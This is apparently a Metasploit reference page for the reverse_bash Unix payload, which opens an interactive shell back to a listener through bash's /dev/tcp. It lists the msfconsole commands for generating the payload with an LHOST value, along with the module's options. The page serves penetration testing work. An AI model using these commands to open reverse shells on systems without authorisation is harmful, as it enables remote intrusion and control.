Metasploit Penetration Testing Framework

Unix Command Shell, Reverse TCP (/dev/tcp)

Creates an interactive shell via bash's builtin /dev/tcp. This will not work on most Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/tcp feature.

Rank

Normal

Authors

hdm < hdm [at] metasploit.com >

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Usage Information

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msf > use payload/cmd/unix/reverse_bash
msf payload(reverse_bash) > set LHOST [MY IP ADDRESS]
msf payload(reverse_bash) > generate

Module Options

LHOST	The listen address
LPORT	The listen port (default: 4444)
AutoRunScript	A script to run automatically on session creation.
InitialAutoRunScript	An initial script to run on session creation (before AutoRunScript)
ReverseConnectRetries	The number of connection attempts to try before exiting the process
WORKSPACE	Specify the workspace for this module

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